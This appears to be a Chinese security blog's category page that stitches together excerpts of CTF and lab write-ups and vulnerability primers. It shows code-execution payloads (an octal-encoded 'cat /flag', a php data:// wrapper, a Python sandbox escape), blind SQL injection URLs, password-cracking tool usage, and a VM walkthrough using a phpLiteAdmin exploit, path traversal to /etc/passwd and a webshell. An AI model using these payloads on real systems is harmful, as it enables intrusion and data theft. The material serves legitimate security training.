Category - web安全

Web

臭皮的计算机

  1. os.system('cat /flag')
  2. 然后转八进制
  3. \157\163\56\163\171\163\164\145\155\50\47\143\141\164\40\57\146\154\141\147\47\51

Include Me

了解php为协议即可做出来
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKT8%2B

  1. ?student_name=Bob'and'3'>'2%23

臭皮踩踩背

  1. //f.__globals__['__builtins__'].__import__('os').system('cat /flag')
  2. 你被豌豆关在一个监狱里,,,,,,
  3. 豌豆百密一疏,不小心遗漏了一些东西,,,
  4. def ev4l(*args):
  5. print(secret)
  6. inp = input("> ")
  7. f = lambda: None
  8. print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
  9. 能不能逃出去给豌豆踩踩背就看你自己了,臭皮,,
  10. > f.__globals__['__builtins__'].__import__('os').system('cat /flag')
  11. flag{a7e1ff73-81a6-4253-9f21-5d552b0dabfd}
  12. 0

title

blindsql1

  1. //获取数据库名称长度length(database())>2
  2. ?student_name=Bob'AND%0B(SELECT%0BLEFT(database(),3))%0BLIKE'ctf'%23 ///数据库名称为ctf
  3. Bob'AND%0B(SELECT%0Bdatabase())%0BLIKE%0B'ctf'%23
  4. //表名数量
  5. student_name=Bob'AND%0B(SELECT%0BCOUNT(*)%0BFROM%0Binformation_schema.tables%0BWHERE%0Btable_schema%0BLIKE%0B'c

Web

你能在一秒内打出八句英文吗

title

  1. import requests
  2. from bs4 import BeautifulSoup
  3. import time
  4. # 创建会话
  5. session = requests.Session()
  6. # 定义 URL
  7. url = 'http://eci-2zecn3tukijkvltao8o0.cloudeci1.ichunqiu.com/start' # 启动页面 URL
  8. submit_url = 'http://eci-2zecn3tukijkvltao8o0.cloudeci1.ichunqiu.com/submit' # 提交数据的 URL
  9. # 定义 Cookie
  10. cookies = {
  11. 'session': '.eJw1j8FOAzEMRH9llDOKaEEt7RfAuUgckdWY3dDEQYmXsEL8O94tSLEUeTxv7G_XlKq-aszsjpv99mF72N_d7vzm_rCzd-OUv9Qd3Qujx5TwGVtU6MjIU-MpQ0sutZbu8YTEVIUDCMIdvdRgcqDZ42QGpWkYFZkxlm4CLhJ1sb2VSRZTKClRRZGVP9Sl7fFs_3i2PE5q7HhVO9WMNonHI4PlvcwNY7xEGf4nstmVorQr4kyKZvVHz7RGr-cYNc-WRxI-qLJoQ6KmOFm-Le9-fgGmXGS0.ZwO5Wg.7JJgjPk_iFRWOb39h2myyLZa4wE'
  12. }
  13. # 抓取并提取变动的句子
  14. def get_sentences():
  15. response = session.get(url, cookies=cookies) # 请求时带上 Cookie
  16. soup = BeautifulSoup(response.text, 'html.parser')
  17. # 假设句子在某个特定的标签中,如 <p> 标签
  18. sentences = [p.text for p in soup.find_all('p')]
  19. return sentences[:8] # 假设最多提取 8 个句子
  20. # 检查是否是 index 页面

title
1. 为什么要抓包? 抓包应用的资产信息进行安全测试
2. 抓包对象有哪些? 小程序、APP、桌面应用等
3. 抓包协议区别工具? 有部分应用不走HTTP/S,需要用到全局协议抓包
4. 封包和抓包的不同之处? 零散整体的区别,封包能精确到每个操作的数据包

相关工具下载:https://blog.benben.work:15212/s/a0se

1 文件包含漏洞

1.1 什么是文件包含漏洞?

文件包含漏洞是一种Web安全漏洞,它允许攻击者包含恶意文件的内容到Web应用程序中。这通常是通过使用文件包含函数来实现的,这些函数允许将一个文件的代码包含到另一个文件中。如果攻击者能够控制包含的文件,他们就可以在Web应用程序中执行任意代码。

1.2 文件包含常见函数与区别

以下是一些常见的文件包含函数及其区别:

  • include(): 该函数包含指定文件的内容并将其插入到当前脚本中。如果包含的文件不存在,则会生成错误。
  • include_once(): 该函数与include()函数类似,但它只会包含文件一次。如果文件已经包含,则不会再次包含。
  • require(): 该函数与include()函数类似,但如果包含的文件不存在,则会生成致命错误。
  • require_once(): 该函数与include_once()函数类似,但它只会包含文件一次。如果文件已经包含,则不会再次包含。

1.3 文件包含漏洞的防御方法

可以使用多种方法来防御文件包含漏洞。一些最常见的方法包括:

  • 验证包含的文件: 服务器应验证每个包含的文件以确保它是可信的。这可以通过检查文件的路径或哈希值来完成。
  • 使用安全的文件包含函数: 服务器应使用安全的文件包含函数,例如filter_input()函数,该函数可以帮助防止包含恶意文件。
  • 限制文件包含的目录: 服务器应限制可以包含的文件的目录。这可以防止攻击者包含位于服务器其他部分的敏感文件。

2. 常见的危险函数

2.1 命令执行函数

以下是一些常见的命令执行函数:

  • exec(): 该函数执行指定的命令并返回其输出。
  • system(): 该函数执行指定的命令并返回其退出代码。
  • passthru(): 该函数执行指定的命令并将其输出直接传递到浏览器。
  • shell_exec(): 该函数执行指定的命令并返回其输出。
  • popen(): 该函数打开一个管道到指定的命令并返回一个文件指针,可用于读取命令的输出。

2.2 代码执行函数

以下是一些常见的代码执行函数:

  • eval(): 该函数将指定的字符串作为代码进行求值。
  • asser
  1. crunch <min-len> <max-len> [<charset string>] [options]
  2. -t 指定密码输出的格式
  3. -o 将密码保存到指定文件
  4. 特殊字符,通常与-t配合使用
  5. % 代表数字
  6. ^ 代表特殊符号
  7. @ 代表小写字符
  8. , 代表大写字符
  1. fcrackzip [options] -u -D -p <password_list> <zipfile>
  2. [options] 是可选参数,用于指定暴力破解的方式和设置。
  3. -u 表示使用暴力破解模式。
  4. -D 表示使用字典模式。
  5. -p <password_list> 指定密码列表文件的路径或者直接指定密码模式。

文件上传漏洞简介:

文件上传漏洞是Web安全中常见的一种漏洞,是指攻击者利用Web应用程序允许用户上传文件的功能,将恶意文件上传到服务器并执行,从而获取服务器控制权或其他非法目的。

文件上传漏洞产生的原因:

文件上传漏洞产生的主要原因是服务器端对用户上传的文件没有进行严格的检查和过滤,导致攻击者可以上传恶意文件。常见的原因包括:

  • 未对上传文件类型进行限制:攻击者可以上传可执行文件,例如ASP、PHP、JSP等文件,在服务器端执行。
  • 未对上传文件大小进行限制:攻击者可以上传大容量的文件,导致服务器宕机或其他性能问题。
  • 未对上传文件的名称和后缀进行过滤:攻击者可以伪造文件的名称和后缀,例如将可执行文件伪装成图片文件。
  • 未对上传文件的MIME类型进行检查:攻击者可以伪造文件的MIME类型,例如将可执行文件伪装成文本文件。

文件上传漏洞的危害:

文件上传漏洞的危害非常严重,攻击者可以利用该漏洞进行以下攻击:

  • 执行任意代码:攻击者可以上传可执行文件到服务器,并在服务器端执行任意代码,例如窃取用户敏感信息、破坏网站数据等。
  • 上传恶意文件:攻击者可以上传病毒、木马等恶意文件到服务器,感染其他用户。
  • 进行DDOS攻击:攻击者可以上传大量文件到服务器,导致服务器资源耗尽,无法正常运行。

防御文件上传漏洞:

  • 对上传文件类型进行限制:只允许上传指定类型的文件,例如图片、文档等。
  • 对上传文件大小进行限制:限制上传文件的最大大小。
  • 对上传文件的名称和后缀进行过滤:禁止上传非法字符、非法后缀的文件。
  • 对上传文件的MIME类型进行检查:检查上传文件的MIME类型是否与文件类型一致。
  • 使用安全的文件上传组件:使用经过安全测试的文件上传组件,可以自动检测和过滤恶意文件。
  • 对上传文件进行杀毒扫描:在上传文件之前,对文件进行杀毒扫描,查杀病毒和木马。

什么是CSRF:

CSRF(Cross-site request forgery),中文名称:跨站请求伪造的。
CSRF攻击是一种利用网站可信用户的权限去执行未授权的命令的一种恶意攻击。攻击者会欺骗用户在他们不知情的情况下,向受信任的网站发送恶意请求。由于浏览器会自动携带用户的Cookie和Session信息,导致网站会认为该请求是来自可信用户的,从而执行攻击者的恶意操作。

CSRF攻击的常见类型包括:

  • 修改用户信息:攻击者可以伪造请求修改用户的个人信息,例如更改密码、地址等。
  • 转账:攻击者可以伪造请求进行转账操作,将用户的资金转到攻击者的账户。
  • 发布恶意内容:攻击者可以伪造请求发布恶意内容,例如垃圾广告、政治宣传等。

CSRF攻击的危害包括:

防御CSRF攻击:

  • 网站开发人员可以采取以下措施来防范CSRF攻击:
    • 在所有涉及敏感操作的请求中使用HTTP Referer验证:检查请求的Referer头是否来自受信任的网站。
    • 使用HTTP Only Cookie:将Cookie设置为HTTP Only,可以防止JavaScript代码读取Cookie。
    • 使用Synchronizer Token:在每个表单中添加一个随机生成的Token,并在服务器端验证Token的有效性。
  • 用户可以采取以下措施来防范CSRF攻击:
    • 不要轻易点击来源不明的链接:不要轻易点击来自陌生人或可疑网站的链接。
    • 不要随便在公共电脑上登录网站:避免在网吧、咖啡馆等公共电脑上登录重要网站。
    • 保持软件更新:及时更新操作系统、浏览器和安全软件的补丁。

什么是XSS:

XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的网络安全漏洞,它允许恶意用户将客户端脚本注入到网页中,使其在用户浏览器中执行。XSS 攻击通常通过将恶意脚本代码插入到网页中的输入数据中来实现,例如用户提交的表单数据、URL 参数或网页中的动态内容。

XSS 攻击通常分为以下三种类型:

  1. 存储型 XSS(Stored XSS):也称为持久型 XSS,是最危险的一种类型。攻击者将恶意脚本上传到目标网站的服务器,例如存储在数据库中的用户评论、留言板或论坛帖子中。当其他用户访问包含恶意脚本的页面时,这些脚本会从服务器端加载并在用户浏览器中执行,导致攻击发生。
  2. 反射型 XSS(Reflected XSS):也称为非持久型 XSS,攻击者将恶意脚本作为参数包含在 URL 中,发送给目标用户。当用户点击包含恶意脚本的链接时,参数会被发送到服务器,服务器将恶意脚本反射回给用户,最终在用户浏览器中执行。
  3. DOM 型 XSS(DOM-based XSS):这种类型的 XSS 不涉及服务器的参与。攻击者利用客户端的漏洞,修改页面的 DOM(文档对象模型),从而执行恶意脚本。例如,通过修改 URL 中的参数或直接修改页面的 JavaScript 代码来触发 XSS 攻击。

XSS 攻击的危害包括但不限于:

  • 窃取用户的敏感信息,如 cookies、会话令牌等。
  • 劫持用户的会话,执行恶意操作,例如在用户不知情的情况下发起恶意请求。
  • 修改网页内容,包括但不限于篡改页面、重定向用户到恶意网站等。

防御 XSS 攻击的方法包括:

  • 输入验证和过滤:对所有用户输入的数据进行严格的验证和过滤,移除或转义可能包含恶意代码的特殊字符。
  • 输出转义:在将用户输入或其他动态内容输出到网页时,使用适当的转义函数(如 htmlspecialchars())对特殊字符进行转义,防止其被解释为 HTML 或 JavaScript 代码。
  • 内容安全策略(Content Security Policy,CSP):通过 CSP 配置,限制网页中可以执行的脚本来源和内容,减少 XSS 攻击的可能性。
  • 使用安全框架和库:使用安全性较高的开

先扫描下端口

  1. arp-scan -l

image-20240328132804991

  1. nmap -sV -sC -A -p- 192.168.2.204

image-20240328132933140

扫描下目录

  1. dirb http://192.168.2.204

image-20240328132959073

访问下搜到的dbadmin

用弱口令admin登录,发现是一个SQLite数据库管理工具

搜索一下phpLiteAdmin v1.9.3是否存在可以利用的漏洞

image-20240328133304221

选择了24404.txt

  1. 1. We create a db named "hack.php".
  2. (Depending on Server configuration sometimes it will not work and the name for the db will be "hack.sqlite". Then simply try to rename the database / existing database to "hack.php".)
  3. The script will store the sqlite database in the same directory as phpliteadmin.php.
  4. Preview: http://goo.gl/B5n9O
  5. Hex preview: http://goo.gl/lJ5iQ
  6. 2. Now create a new table in this database and insert a text field with the default value:
  7. <?php phpinfo()?>
  8. Hex preview: http://goo.gl/v7USQ
  9. 3. Now we run hack.php

根据给的提示信息,先创建一个数据库.

存在文件包含漏洞

  1. http://192.168.2.204/view.php?page=../../../../etc/passwd
  2. http://192.168.2.204/view.php?page=../../../usr/databases/hack.php

image-20240328133045204

使用蚁剑连接

进入zico家目录后,发现了wordpress目录,进去发现有一个wp-conf

    Page 1 of 2